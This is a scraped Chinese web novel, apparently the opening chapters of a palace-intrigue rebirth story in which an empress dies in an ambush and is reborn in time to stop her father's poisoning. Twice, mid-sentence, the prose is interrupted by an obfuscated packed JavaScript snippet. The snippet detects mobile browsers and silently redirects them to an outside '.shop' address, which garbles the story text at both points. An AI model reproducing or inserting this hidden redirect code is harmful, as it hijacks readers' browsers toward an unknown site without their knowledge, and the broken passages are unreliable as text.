《鹤颂长宁》 1. 绝境 昭国边城,群山交叠,黑云侵染了半边天。 “陛下,莫要再挣扎了。” 谢筠骑在马上,居高临下俯视着前方的许长宁,身后是几千精兵铁骑。 “阿皓呢?”许长宁一身明黄色衣裙,被血色染得沉重,那双杏眼此刻因愤怒不甘而烧得猩红。 她身后只有百来残兵,已是必死之局。 “死了。”谢筠面无表情,话音没有半分温度,“崔皓那百来个兵,能拖住我多久?” 闪电如芒,撕裂了天际,一声雷自天边炸响。 许长宁望着谢筠脸上的冷漠,生出一瞬的恍惚。 想想自己今日落到这步田地,也是自作自受。 当初父皇忽然驾崩,她作为皇太女,按照国律,必须成婚方可登基为帝。 悲痛之下,她听从母后及群臣之意,选择了能辅助她的四大世家之首谢家长子谢筠,更是在婚后放权,让谢筠摄政。 如此,她便被谢筠一日日架空了。 待她意欲反抗之时,一切已太晚。 她权势尽失,仅有一腔愤怒,亲近之人皆受她牵连,丢了性命,如今唯剩一人。 “你我夫妻一场,你现在便过来,别再让我浪费力气,我可以给你一个痛快。”谢筠道。 “可笑,朕乃昭国国君,哪怕死,亦不会像你那般窝囊!”许长宁沉声喝道。 此言一出,身边仅剩的忠诚之士皆持剑上前,紧紧将她护住。 其中一人戴着面具,立于她身侧,手中残剑已血迹斑斑。 “陛下,后方洞穴可通往别处,我与众人掩护您,您伺机撤离。” 一道沉稳的男声透过面具,传入许长宁的耳中,一如过去六年间,夜夜枕边私语。 许长宁望着面前一直誓死追随她的将士,坚定道:“我不可能踏着你们的尸骨离开。” 她已不能带给他们希望,至少,要与他们同生共死。 戴着面具的男人抬手,扯住她的衣袖,攥紧了一角。 “可你不能——” “说好了的。”许长宁侧头看向他,伸手抽出他腰间的另一把剑,微微一笑,“我们要在一起。” 她重新望向前方的谢筠,眼神转瞬变得凌厉。 要死,也要先将他拖下地狱。 “长宁,你该知晓,我向来对你并无恶意,可你许家与我们谢家,如一山二虎。”谢筠言语间尽是惋惜,“你当初既选择将大权交给我,便不该再生出收回的心思,不然我不会杀你。” “朕将昭国交给你,是信任你能护黎民平安,促昭国强盛!可你将昭国毁成什么样了?”许长宁孤身走到将士前方,一身傲骨丝毫不折,一如当年被封为皇太女时的风姿。 她剑指谢筠,对拥护他的将士们喊道:“你们都睁大眼看看,如今的昭国受燕国铁蹄践踏,山河破碎,连失十几城,百姓被俘虏屠戮!桩桩件件,皆为谢家一手造成!边庭烽火连连,他们谢家人却扣粮截械,致十万将士惨败于燕军之下,尸横遍野!昭国要亡在他们手中了!如此,你们还要拥护这些行同狗彘、心如豺狼的败类吗?!” 对面的将士闻言,不少人的神色有所变化。 许长宁扬唇,却不曾发现,她身边之人亦因这一番话而目光微闪。 谢筠望着气势凛然的许长宁,忽地笑了出来。 “我谢家是打了败仗,陛下不满,臣也认了。”谢筠的话音不紧不慢,仍维持着那副温柔假面,“可臣却不服,陛下于家国危难之际,勾结燕国狗贼,抛弃万千昭国百姓,又有何资格来指责我们谢家?” “一张狗嘴满口喷粪!”许长宁觉得好笑,“朕何时勾结燕贼了?” 谢筠看对面已无可远攻的弩箭,直接策马靠近许长宁,一脸正色。 “在过去六年间,陛下夜夜私通燕国质子!此若非勾结,何为勾结?!” 此言比惊雷更甚,炸得许长宁身后百来残兵皆吃惊不已。 许长宁亦眉头一蹙,猛然看向身边之人。 面具下的那双瞳眸,因慌张而骤然紧缩。 “燕国质子,江鹤一?”许长宁的声音,低得如同喃喃自语。 她没有听到回复,只见那双眼睛逃避一般,躲开了她的质问。 原来如此…… 自新婚之日起,谢筠夜夜换人爬上她的床,行替代之事,背后竟是这般算计! 她还傻乎乎地将一切拱手相让,让父皇的心血毁于一旦,让昭国百姓受苦至此! 奇耻大辱! 手中长剑坠地,许长宁一时竟笑出了声,笑得浑身发颤,形同疯癫。 谢筠继续高声道:“燕国十八年前犯下恶行,如今又大军犯境,屠戮昭国百姓,乃昭国大患!陛下此罪,神怒天诛,你若就地自刎赎罪,我可留你全尸!” 他欣赏着许长宁落败的惨状,不料许长宁忽然神色突变,抬手对准谢筠喉咙,射出一道袖箭! 谢筠一惊,意欲闪躲,可许长宁方才已借他放松警惕之机,大大缩短了两人的距离,此时竟与他近在咫尺。 那袖箭直直扎入了他的脖子一侧。 喷涌的血犹如号令,谢筠身后一众弓箭手迅速挽弓搭箭,冲许长宁射出十几支沾了剧毒的利箭。 “保护陛下!!” 一路随许长宁走到如今的将士们早已做好准备,拼死护在许长宁身前,为她打落毒箭,打不掉的,便以身去挡。 许长宁望着谢筠捂着涌血的脖子,痛苦得说不出话的模样,满眼的畅快。 她迅速拾起地上掉落的剑,要与众人一同厮杀,却被一人紧紧抓住手腕,拽着转身往后面逃跑。 “放开我!”许长宁不愿逃,对拉着她的人也带着一股气。 可江鹤一没有回答,更没有松开一分,强行拉着她往洞穴冲去。 又是一声巨雷劈下,于山间回荡咆哮,骤然间狂风暴雨,仿佛苍天都在唏嘘。 那些至今仍忠心护主的将士们,不顾一切地死守最后一道防线。 利箭夺命无声,忠良消逝震耳欲聋。 时间似乎被凝固了,许长宁已被泪水模糊了视线,被麻木地拽着往前跑。 即将奔入洞口之际,她似是感应到什么,猛地回首,只见一道寒光直奔她而来! 她瞳孔一颤,闪躲不及,铁刃没入血肉的声音如期而至,可想象的穿心之痛并未到来。 江鹤一急急将她扑倒在地,仅是闷哼一声,很快又踉跄地爬起,边折断胸前的箭,边拽着她继续往山洞里奔逃。 “前方有出口,别停下!”江鹤一依旧紧握着她的手腕朝前跑,但许长宁明显感到他的速度慢了下来。 他的手已经从以往的温热,渐渐变得冰冷。 不知跑了多久,前方不远处出现一个越来越大的光点,眼看着即将跑出洞口,忽然一声巨响,顿时山摇地动,前方的山壁轰然崩塌,封死了两人的前路。 许长宁稳住身体,刚要折返,后方退路亦有巨石砸落,江鹤一拽她回来,将她的头按入怀里,直到山体不再崩塌。 所有路皆被巨石堵死,仅剩方寸之地可以容身。 看来谢筠早已在出口备下炸药,她终究是败了,败得一塌糊涂。 随着希望倒下的,还有她身旁的男人。 许长宁扶住了江鹤一,靠着山壁坐下来,轻轻将他的头放在她的腿上。 黑暗之中,一片死寂,只剩两人的呼吸相互交缠。 许长宁轻叹一声:“原来是燕国的大皇子啊。” 她伸手去摘江鹤一的面具,想看一眼他的面容。 这一刻,无论江鹤一是谁,她都不在意了。 她只在意,他们有过长达六年的肌肤之亲,最为陌生,也最为亲密。 江鹤一下意识攥住了许长宁的手,似乎害怕被她看到面容。 他的手脚向来都十分暖和,从前入眠,许长宁最喜欢借他来暖手暖脚,比暖炉还要管用。 可现在,他的掌心却是一片冰凉。 江鹤一似是知道自己的手太冷,还沾了血,很快便松开了。 许长宁如愿摘下他的面具,却未能如愿看清他的面容。 她轻声感慨:“你我在无光的夜里坦诚相见多年,从前我不在乎,便一直没想着要瞧瞧你的脸,如今想看,却看不成了。” 许长宁抬手,指尖落在那张她摸了无数遍的脸上,轻轻描着江鹤一的眉眼和鼻梁。 谢筠以为她愚蠢,被骗了多年,都不知夜里躺在身边的人不是他。 其实她在新婚之夜,抚上身边人的脸庞便知晓了,江鹤一的骨相更加沉厚,暗含锋芒,不似谢筠那般清秀柔和。 谢筠不愿与她行男女之事,她不想强求,而他找来的人又极其乖顺,每每都能哄得她愉悦,那便由他去吧,反正日子无聊得很。 只是她不曾料到,夜夜与她耳鬓厮磨之人,不是什么男宠,而是来自燕国的质子,与昭国水火不容的燕国。 “你为质多年,应当恨透了昭国人,为何舍命救我?”许长宁用尚且温暖的手贴在江鹤一的脸上,与他玩笑道,“莫非郎君已真心相许?” 江鹤一呛了一口血,别过头去,沉默半晌,似是在思考回答。 “逢场作戏罢了。” 许长宁听见他答道。 她用另一边手摸了摸胸前,摸到一片温热的血。 那一箭,射穿了江鹤一的胸膛,也在她回身时,扎入了她的胸口。 她疼得缓了许久,才故作可惜道:“我还以为,夜里你那般痴缠,或许有几分真情。” “真情又有何用?”江鹤一哑声道。 “是啊……又有何用……”许长宁目光微黯,贴在江鹤一侧脸的手不自觉地收了回去。 他便是动了真情,如今才会与她困在此处等死。 可就在她缩手那刻,江鹤一却攥住她的手,顺势起身,整个人猛地撞入她怀里。 许长宁一怔,轻笑道:“这也是你的逢场作戏?” 江鹤一不回答,只是更用力地往她怀里蹭,额头紧紧抵住她的锁骨,呼吸粗重,逐渐紊乱。 许长宁察觉不对,抬手轻轻搂住他,小心地避开了仍插在他后背的断箭。 她感觉到怀里的人浑身止不住地战栗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741888|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冷汗渐渐浸透衣衫,脖子上青筋凸起,似是痛苦到了极处。 她将江鹤一抱得更紧了些,如同往日那般唤他:“云止,怎么了?” 江鹤一极力隐忍着,半晌后才颤声挤出回答:“箭上有毒……” 许长宁拧紧眉心,用手扣住他的肩头,柔声道:“忍着点。” 随着断箭拔出,江鹤一再度呕出一口血,许长宁的心也为之一颤。 “什么毒会发作得如此迅速?”她徒劳地用衣袖捂住江鹤一后背流血的伤口,手开始有些发颤。 她本以为,他们还能好好相处一会…… “这症状……恐怕是……西域的乌头之毒……”江鹤一不再掩饰,双手环抱住许长宁,头靠于她的颈窝里,胸膛剧烈起伏着,喘息声在密闭的空间里越来越大,时而伴随着克制的呻吟。 四肢内脏犹如烈火焚烧,剧毒带来的痛楚,许长宁亦逐渐感受到了。 别无他法,她只能与眼前人紧紧相拥。 有那么一瞬,许长宁仿佛回到了过去六年间,那些炙热的夜里,只是血腥味替代了熏香,疼痛替代了愉悦。 那一丝弥漫的旖旎氤氲,极为短暂地驱逐了笼罩着两人的濒死气息。 直至江鹤一实在受不住疼痛,带着一点侵略和索取,咬住了她肩头的衣裳。 许长宁知晓他是痛得狠了,却仍舍不得弄疼她。 他向来都是如此。 如今这般,最多最多,也只会咬她的衣裳。 许长宁的心头弥漫起阵阵酸楚,她忍不住低下头,吻上了江鹤一的耳朵。 因她此举,江鹤一松开了她的衣襟,声音里隐约带着哭腔:“许长宁……疼……” 许长宁感觉有泪沾湿了她脖颈的皮肤,双眼也被毒物烧得滚烫。 她直接捧起江鹤一的脸,撬开了他死死紧咬的牙关,搂着他往一侧躺倒,闭上眼,便当作是寻常,与他共度这最后入眠前的时光。 她抚上他遍布伤疤的后背,紧贴他的胸膛,靠近他的呼吸,与他化作一体。 天地已然崩塌,两人怕是要在此处化为尸骨,既然如此,不如最后一次共舞,勇敢地迎接终结。 “这样……会好一些吗……”许长宁吻过他的唇,又去亲吻他的鼻尖,他的双眼,试图安抚他的痛,也试图冲淡心中的恐惧。 许是毒药作祟,江鹤一仿佛受到刺激的野兽,开始啃咬她的唇,很快便咬破了,随即又如同要止渴一般,吮吸她的血。 他紧箍着许长宁的腰身,与她一同起伏,一同喘息,一同对抗这要命的痛苦。 仿若两朵摇曳的烛火,在将灭之际相融,交织出了最明亮的光华。 直至江鹤一力竭,手上的力道渐渐泄掉,瘫倒在许长宁身侧,再也没有力气动弹。 许长宁为他拢紧衣裳,挪动越发沉重的身体,与他额头相触。 她轻柔地,一遍遍地抚着他的后背,听着他的呼吸声逐渐微弱,喉头涩得发疼。 “若是累了,便睡吧……”虽然江鹤一看不见,她还是扯了扯被咬破的唇。 黑暗中久久没有声响,当许长宁以为自己再也不会听见回应时,耳边响起了断断续续的低语。 “阿宁……” “你……别怕……” 模糊不清的呢喃,犹如小石子坠入汪洋,又似催人入眠的安魂曲。 许长宁眼泪滑落的瞬间,耳畔的呼吸声骤然消逝。 这世上她在意的最后一人,也离开了。 也好,如此便再无牵挂了。 “我不怕……”她累得几乎抬不起手,指尖最后落在眼前人的脸上,用尽全力,再度轻抚他的轮廓。 她想要记住,刻进骨子里,来世哪怕走散了,也能再将他寻回来。 虽然她不知,他是否还愿意与她同行。 “一起走……你也别怕……” 许长宁闭上眼,再往江鹤一身边挪了挪。 “只是,你要走慢些……我怕……寻不到你……” * 江鹤一的前世日志·一 谢筠承诺,若我能替他行事,来日他便助我归国,我这具躯壳,为质十几年,早已烂透了,为能回家再见父皇母后一面,逢场作戏又有何难? 他言来日必会与许长宁成亲,要我在此之前,须日日观察她的言行举止。其实自从十二年前和宁宴上匆匆一瞥,我几乎没再见过这个女人,若不是谢筠说她今日会来此处,我未必能认出她来。 她穿着一身明黄色衣裙,倒是不难看,毕竟昭皇只剩她这一个血脉,自是捧在手心里养着。她似乎很喜欢小猫,不知从何处捡来一只受伤的黑猫,即便小猫冲她哈气,她亦不曾放手。 此外,她应当不耐猫气,抱着小猫喷嚏连连,频频以素帕捂住鼻窍,很快便涕泪交加,但仍不顾一旁侍女劝阻,执意亲自安抚小黑猫。那小猫倒是懂得审时度势,很快便被安抚好了。 许是因我躲在树上,有虫蚁爬身,望着那女人一遍遍抚摸黑猫的后背,竟也觉得背上痒痒的……也不知那小猫是否会有同样的感觉?被这般抚摸,到底是痒,还是舒服? 2. 重生 “殿下醒醒……” 许长宁勉强睁开眼,模糊的视线中,出现了一张凑得很近、满是担忧的小脸——她的贴身侍女,薛竹铃。 “还是很难受吗?”薛竹铃摸着许长宁发热的额头,又见她不说话,愈发着急,忙扭头对身后的卫迟风说,“快去请太医再来一趟。” 卫迟风闻言,二话不说转身要走,却被许长宁沙哑的声音唤住了。 “别走……” 许长宁下意识喊了出来,撑起身子抱紧了薛竹铃,埋头在她肩上,颤声道,“你们谁都不能走……” 至少在梦里,不要再离她而去了…… 薛竹铃有些无措,卫迟风折返至榻边,卸下腰间的佩剑,单膝跪地,轻声道:“殿下风寒未愈,许是症状有所加重,臣让人去寻太医来,臣不走,和竹铃就在此处守着殿下,可好?” 许长宁听着这两人熟悉的声音,神智渐渐变得清明,五感也犹如拨开了迷雾,变得真实起来。 她抬起头,有些不敢置信地望着眼前二人。 怎么回事…… 他们明明,已然惨死…… 薛竹铃看着许长宁迷茫的眼神,更害怕了,小嘴一扁:“殿下您别吓我啊……” 言罢,她红着眼看向卫迟风,“卫迟风怎么办……殿下莫不是被热病烧得失了神智……” “别哭,好好看着殿下。”卫迟风给薛竹铃递去帕子,随即起身要喊人,却又被许长宁给拽了回去。 “你们唤我……殿下?” 许长宁盯着面前两人,缓缓抬起了双手,猛地掐住他们二人的脸蛋。 “你们……是……” 真人吗? 许长宁环视四周,这屋内的布置……是东宫寝殿! 她为何会在东宫?! 她又想起什么,随即伸手一摸,胸口那道致命伤已荡然无存! 薛竹铃和卫迟风都被许长宁掐蒙了,薛竹铃直接哇一声哭了出来,扑到许长宁怀里哭喊:“殿下我是您最最喜欢的竹铃啊!您不记得我了吗?我的阿娘是您的乳娘,我两岁便被带入宫内教养五岁成为您的侍女七岁上树掏鸟蛋差点摔死是您救了我,今年十七岁了您想把我嫁给一个什么鬼将军我死也不肯抱着您哭了两日您终于同意了,您都忘了吗?” 这一顿哭嚎,让向来沉稳的卫迟风也有些慌了,他也试探地说道:“殿下,我是您的东宫卫率卫迟风,十四岁便跟着您了,如今已有五年,您……可还记得……” 许长宁呼吸一紧,薛竹铃十七,卫迟风十九,那她今年,便是二十二? 这是六年前?! 许长宁倏地站起来,不敢相信地环视四周熟悉又遥远的景象。 她竟回到了二十二岁!她仍是皇太女,父皇还活着,谢筠尚未与她成婚,那江鹤一也…… 许长宁又惊又喜,忽地笑出声了,伴随着墙上随风飘摇的影子,十分瘆人。 薛竹铃被她这副模样吓得都不敢哭了,扯着一旁卫迟风的袖子有些哆嗦。 许长宁忽然看到堆放在屏风后的两个大箱子,箱子上的一个标志,令她的笑容顿时僵住。 那是谢家的标志。 她走到箱子前,颤抖着手打开,里面摆放着满满的精美瓷器、首饰,还有布匹。 “这是什么?”许长宁的声音顿时冷了下去。 卫迟风一手稳住薛竹铃,一边冷静答道:“这是谢筠公子赠予殿下的冬至礼物。” 卫迟风说着,正要趁许长宁不备,让薛竹铃偷偷溜去请太医,怎知许长宁忽然拿起一个青玉花瓶,狠狠砸到地上,花瓶应声碎裂,碎片四处飞溅,划伤了她的手背。 砸了一个还不够,许长宁疯了一般,不断俯身拿起箱中的物件,砸烂,撕烂,摔烂,然后踩在脚底碾压。 苍天怜悯她,怜悯昭国百姓!竟给她重来一世的机会! 直到伤口延迟的疼痛逐渐蔓延,她才喘着气停下,痛快地笑了。 薛竹玲发现自家殿下笑得阴森又猖狂,吓得直接躲到卫迟风身后,一众东宫卫士闻声而来,卫迟风抬起手,将他们悉数拦在门外。 他望着许长宁流血的手背,担心不已,怕她再伤害自己,便缓缓靠近,抬手要将她劈晕。 怎知许长宁竟格外敏捷,握住了他挥下的手,方才还充斥着疯魔的一双瞳眸,已然恢复了平静,甚至带着几分狠戾。 “迟风,我没事。”许长宁朝他露出一个总归算是不瘆人的笑,“莫担心。” 卫迟风迟疑片刻,俯身行礼赔罪:“臣冒犯了,请殿下见谅。” “是我吓着你们了。”许长宁踩过遍地狼藉,好似什么都不曾发生过,走到门边,将泪眼汪汪的薛竹铃揽入怀里,摸摸她的头安抚,“好啦,别哭了。” 薛竹铃闻言,便使劲往许长宁怀里钻,几乎把脸埋在她身上。 许长宁对此习以为常,任由她抱着,抬眼对面前的卫士们寒声说:“你们来得正是时候,孤收了谢公子的大礼,自是要去问候一番。” 薛竹铃在许长宁怀里抬起头,从想说的千言万语中,挑出最重要的一句,小声道:“可是殿下,今日冬至,陛下还在书房等您过去,一同与皇后娘娘用晚膳。” 许长宁神色忽变,浑身一颤:“今日便是冬至?” “是啊殿下,奴婢瞧着您高热未退,本想——” 薛竹铃的话尚未说完,许长宁便猛地冲了出去。 六年前的冬至,正是父皇驾崩之日! 从前她轻信太医所言,以为父皇是因突发心疾而逝,后来才知,父皇乃被谢家毒杀,伪造成病逝。 她查出此事后如梦初醒,彻底与谢家撕破脸皮,却也因此被谢家逼入绝境。 便是今日,谢家下毒杀害了她的父皇! 许长宁不顾身后纷杂的呼喊声,身穿单薄的寝衣,在冬夜中狂奔。 冬夜的冷气灌入她的体内,身边的景象飞快地从她的视线中掠过,许是仍在病中,她又开始觉得眼前的一切变得不真实,甚至出现了幻听。 那是她父皇永远温柔的声音。 “朕的好宁儿,自是天下最好的女子……” “谁敢说宁儿不配做储君,父皇定叫他挨板子……” “宁儿莫怕,父皇永远护着你……” 不要…… 不要再让她失去一次父皇…… 许长宁的视线一度模糊,直至御书房终于出现在视线中,她才成功强压下泪意。 守在御书房外围的几名龙武军远远看见她,本要行礼,却直接被许长宁推开,书房门前的龙武军看她这般不管不顾,神情甚至有几分凌厉,只能抬手将她拦下。 “父皇不能喝茶!”许长宁来不及解释,攀着两名龙武军的手臂,直冲屋内那道身影大喊。 可回应她的,竟是茶杯落地破碎之声。 那道身影在她眼前轰然倒下。 “父皇!!”许长宁撞开两名怔住的龙武军,闯入御书房内,呼吸几乎瞬间凝滞。 皇帝许昭临已倒在地上不省人事,脸色发白。 许长宁强忍惊慌,奔至许昭临身边,抱起他探了探鼻息,手止不住地颤抖。 许昭临的气息已然极其微弱。 她双眼转瞬便变得猩红,冲龙武军喝道:“快去找太医啊!” 一名龙武军当即转身跑走,另一人却脸色凝重。 “宫中太医都去了宫外……恐怕一时赶不回来……” * 此时坤宁宫中,谢筠正在为皇后李令舒倒茶,随后毕恭毕敬地回到座位上。 “娘娘,此乃家父从南方茶商手中购入的紫笋茶,父亲让我务必要为娘娘泡上一壶。” 李令舒抿了一口茶,微笑道:“表哥有心了,此茶香气馥郁,确为好茶。” “得娘娘赞赏,臣便安心了。”谢筠笑得温柔,一身金丝白衣衬得整个人温文儒雅,“前些日子,臣送了一些茶叶给殿下,可一直未曾听闻殿下提起过那茶叶,臣心中忐忑,恐是那茶不够好,不合殿下口味,臣念着明日给殿下再送些紫笋茶。” “宁儿近日一直病着,许是没有心思喝茶。更何况,好茶,也需有懂茶之人冲泡,宁儿忙于政事,向来不懂茶道,你光送茶叶过去可不够。” 李令舒笑着望向谢筠,“筠儿,你可明白本宫的意思?” 谢筠起身,恭敬地行了一礼:“多谢娘娘指点。” 李令舒亦起身,扶了扶他:“你心悦宁儿,便要再主动一些,她在情爱一事上,与陛下如出一辙,可谓一窍不通。” 谢筠还要说些什么,却被一名慌张跑进来的太监打断。 “娘娘!不好了!陛下,陛下出事了!” 李令舒神色突变,急着追问情况,无人注意到,谢筠眼中闪过的那抹冷漠。 他看了眼桌案上仍冒着轻烟的一杯茶,微微扬唇。 * 在赶去御书房的路上,谢筠的身边悄然多了一名老仆人。 仆人告知他,一切皆在计划之中,所有太医仍在宫外,即便赶回来,也无济于事了。 谢筠彻底放下心来,那副心急模样演得愈发逼真,甚至先李令舒一步,跑进了御书房。 庭院跪了一地的龙武军,可里屋的场面,却并非如谢筠想象那般混乱,亦没有他想象中的惊慌哭喊声。 屋内只燃着一盏昏暗的烛火,一片死寂。 许昭临闭着眼躺在榻上,毫无声息。 “谢公子来得真快。” 谢筠被这忽然的声响所惊着,回首望去,竟见许长宁披着外袍,坐于书案前,半身隐藏于阴暗之处。 她的手中,把玩似的拿着许昭临的茶杯。 “殿下。”谢筠恭敬地行礼,虽心中意外,但并未露出半点破绽,仍维持一副心急模样问道,“我方才在皇后娘娘处听闻陛下出事了,现在如何了?” “他们是如何说的?”许长宁不答反问,声音听不出半分情绪。 谢筠答道:“只说陛下在御书房忽然倒下……陛下可是心疾又犯了?” “太医尽数出宫,父皇他……”许长宁的话说到一半,便戛然而止。 她闭上眼,深深呼吸一口气,似是沉重得无法往下再说。 谢筠悬起来的心放了下去,虽然许长宁比他快一步出现在此,实属意外,但计划总归是成功了。 “陛下……怎么会这样……”他装作悲痛,声音都变得颤抖。 见许长宁脸色不好,他关切地行至她身边,半蹲下来,把手搭在许长宁的手臂上,隔着衣袖,轻轻握住她,柔声安慰:“殿下还病着,一定要保重身体,陛下若见您如此伤怀,定会心疼的。” 不料,许长宁竟嘴角微扬,轻笑了一声。 “谢公子这番说辞,是急切盼着父皇不好吗?” 谢筠一怔,神色凝固了:“殿下这是何意?” 许长宁缓缓睁眼,看向面前的谢筠:“父皇安好,只是暂时昏睡未醒。” 她把她的父皇救了回来。 既然她已知晓许昭临并非心疾发作,而是中毒,当即便用从前学过的法子,以物抠喉,成功让许昭临吐出了方才喝下去的茶。 谢筠愣怔过后,愁容马上转为笑颜,话音里还带着劫后余生一般的颤抖:“太好了!陛下吉人天相,实乃苍生之福!方才臣误会了殿下所言,真是觉得天旋地转……陛下龙体无恙,便是四海安宁,臣……臣实在太欢喜了。” 许长宁看着他演,也没有动怒,只是不紧不慢地拿起一旁的茶壶,往杯中倒了一杯茶。 “父皇并非心疾发作,而是中毒。”她望着早已凉透的茶水,声音低缓,“他今夜唯一喝过的,便是谢公子所赠的紫笋茶。” 谢筠双眸微颤,忙作出惶恐状,跪了下来:“殿下,臣与皇后娘娘方才喝过紫笋茶,茶叶定是无毒的!请殿下明鉴!” 即便跪着,他的背脊挺直,仍是那副翩翩公子模样,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741889|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副仙骨一尘不染。 从前,许长宁便是被这副模样骗了。 她盯着谢筠半晌,忽然温婉一笑,抬手扶谢筠起来:“孤自是相信谢公子的。” 谢筠手心已然冒汗,但表面仍十分镇定,正要谢恩,然而下一刻,许长宁便将倒满茶水的杯子递到他眼前。 她笑意盈盈:“方才跑累了吧,喝口茶缓缓。” 谢筠再度被许长宁的意外之举所惊,藏于袖中的手不由得一颤。 “唇都干了。”未等谢筠说话,许长宁直接将茶杯逼到他的唇边,脸上神色甚是温柔,“先喝一口吧。” 谢筠暗中咬紧牙关,忽然觉得许长宁的笑意中,隐约含有一丝扭曲。 他脑中迅速想着应对之策,刚要开口,许长宁又好似猛然想起什么,忽地将茶杯扔到地上。 清脆的碎裂声犹如夜里的一声撞钟。 “哎呀,不对!”许长宁故作认真思索,抢先道出谢筠想好的说辞,“茶叶无毒,那便是有人在茶水中下了毒。” 她晓得定是茶中有毒,但这毒十分隐秘,上一世,太医便没有从茶中查出毒来,许是那毒非毒,只有搭配着紫笋茶服用,才会显现毒性。 谢家既然做了,便应当不会留下任何蛛丝马迹,毕竟谢筠和他爹谢望松,当朝的左相,都是极为谨慎之人,她今夜恐怕无法通过毒物揪住谢家的错处。 然唯有一处,她抢占了先机。 “谢公子莫担心,孤早已派人封锁了附近一带,全力追查,那下毒之人定能被揪出来。”许长宁微笑道,“胆敢栽赃秘书郎,怕是活腻了。” 依照她对谢家手段的了解,他们定不会让下毒之人行事后还留在御书房,以免那人遭刑讯逼供招了,所以下毒者不会是庭院跪着的那些宫女太监和龙武军。 而谢家也定会让下毒之人确保许昭临毒发后才离开,这与许长宁到达御书房的时间几乎是一致的。 她当时马上便让卫迟风带人在附近追查,她便不信抓不到可疑之人。 “多谢殿下。”谢筠俯身作揖,被许长宁这一番折腾下来,已难掩饰僵硬的神色。 寒冬凛凛,他的额头却渗出了薄汗。 许长宁见他如此,心中把握更多了几分。 “陛下!” 李令舒的呼唤声从院中传来,她带着赶回来的太医直奔进来,难掩惊慌地扑到榻边,看许昭临的胸膛还在起伏,在眼眶里打滚的眼泪才算忍住,“这是怎么了?” “父皇被人下了毒,孤已为他催吐,应当无大碍了。” 许长宁语气平淡,太医闻言一惊,忙给许昭临把脉诊治。 许长宁只看了一眼李令舒,并未与她多说一句话。 她对李令舒这个母后,已心灰意冷。 许长宁站起来绕过谢筠,行至御书房外。 寒风瞬间袭面而来,薛竹铃立即给许长宁拢紧了外袍。 许长宁呼出一口热气暖手,看到卫迟风揪着一名男子往这边走来。 “哟,来了。”她扭头看向一旁的谢筠,嘴角微扬,“谢公子认为,用何种酷刑逼供更快?” 谢筠望着许长宁,一时无言,背在身后的手已紧紧攥成了拳。 “殿下!”卫迟风让人将抓回来的男子押着跪在地上,“此人鬼鬼祟祟,甚是可疑!” 许长宁垂眸望去,只见那男人头发凌乱,只着歪歪扭扭的薄衣,衣裳上还有鞋印,似是被人抢劫后,还挨了一顿打。 卫迟风揪着这个男人进来时,他便已走路不稳,此时脸朝下,伏跪在地上,脊骨透过衣衫上下起伏,犹如垂死之人一般喘息。 许长宁行至男人面前,命令道:“抬起头来。” 男人闻言,双手使劲支撑起身子,却脱力再度摔倒。 两名卫士见状,一左一右架起了男人,薛竹铃也将手中的灯笼朝男人移近了一些。 借着灯光,许长宁看清楚了男人的模样。 他单薄的衣衫凌乱不堪,几乎被扯掉,露出了大半的肩部,头上发簪被打掉,满头乌发凌乱地散落,随风轻扫着颈间喉结与锁骨,衬得皮肤有种病态的苍白。 英气剑眉与直挺鼻梁之侧,是一双桃花眼,好似沾了酒气般迷离,眼角一颗泪痣仿佛擦不掉的泪,平添几分无辜之感,可他的眼眸却黑若曜石,深沉如渊。 像一头被暴力驯服,因受伤而怯懦的乖顺野兽。 许长宁忽然眉心一蹙。 她蹲下身,手缓缓向前,轻轻落在男人的眉心,男人好似害怕般朝后一退缩。 “别动。”许长宁低声道。 男人喉结轻滚,听话地垂下了眼眸。 许长宁闭上眼,指腹游走于男人的眉眼,颧骨,鼻梁,双唇,下颌,最后落在他的锁骨上。 沉稳,厚重,棱角分明。 皮囊会骗人,但骨相不会。 许长宁倏地睁眼,猛地抬起眼前人的下巴,拧眉道:“如此衣衫不整,江鹤一,你做什么去了?” * 江鹤一的前世日志·二 我知谢家野心大,却不曾料到,他们竟猖狂至弑君,昭皇竟就这样死了…… 看着谢家摆出那副无辜的面孔,真是恶心,昭国人都是这般恶心……不过,我倒是第一次见这皇太女落泪,哭得双眼红肿,抱着昭皇的尸身不愿放开。都说帝皇薄情,但据往日观察,许长宁与昭皇之间,确实父女情深…… 她哭得极为伤心,我第一念头想着,储君又如何,还是女子一个,难免感情用事,但转念回想起自己当初离开父皇与母后,哭得直接晕了过去,又觉得这女人似乎也没什么好嘲笑的。 生离与死别,心情大约是一样的吧…… 御书房外太过嘈杂,我早早便走了,皇帝驾崩,想必谢筠与许长宁的婚事不会太远了,我须得尽快做好准备。只是不知为何,即便离开了那地方,那女人的哭声仍在耳边萦绕不散,令人甚是心烦意乱,连药都制错了几回…… 3. 咬痕 认出江鹤一的那一瞬,许长宁心如擂鼓。 她没想到谢筠安排来下毒之人,竟是江鹤一。 但望着江鹤一那狼狈不堪的模样,她又否认了这个想法。 江鹤一是谢筠极为重要的棋子,若两人达成合作,谢筠绝不会让他冒险来下毒,甚至会叮嘱他今夜一定不能出现在御书房附近。 毕竟一旦许昭临驾崩,御书房这一带定会被封锁,江鹤一若有行差踏错,被人抓了去,谢筠便无法让他在接下来的大婚之日行替代之事了。 但前世的江鹤一曾在她揭穿他非谢筠之时,坦白过他与谢筠合作的时间,是在父皇去世之前…… 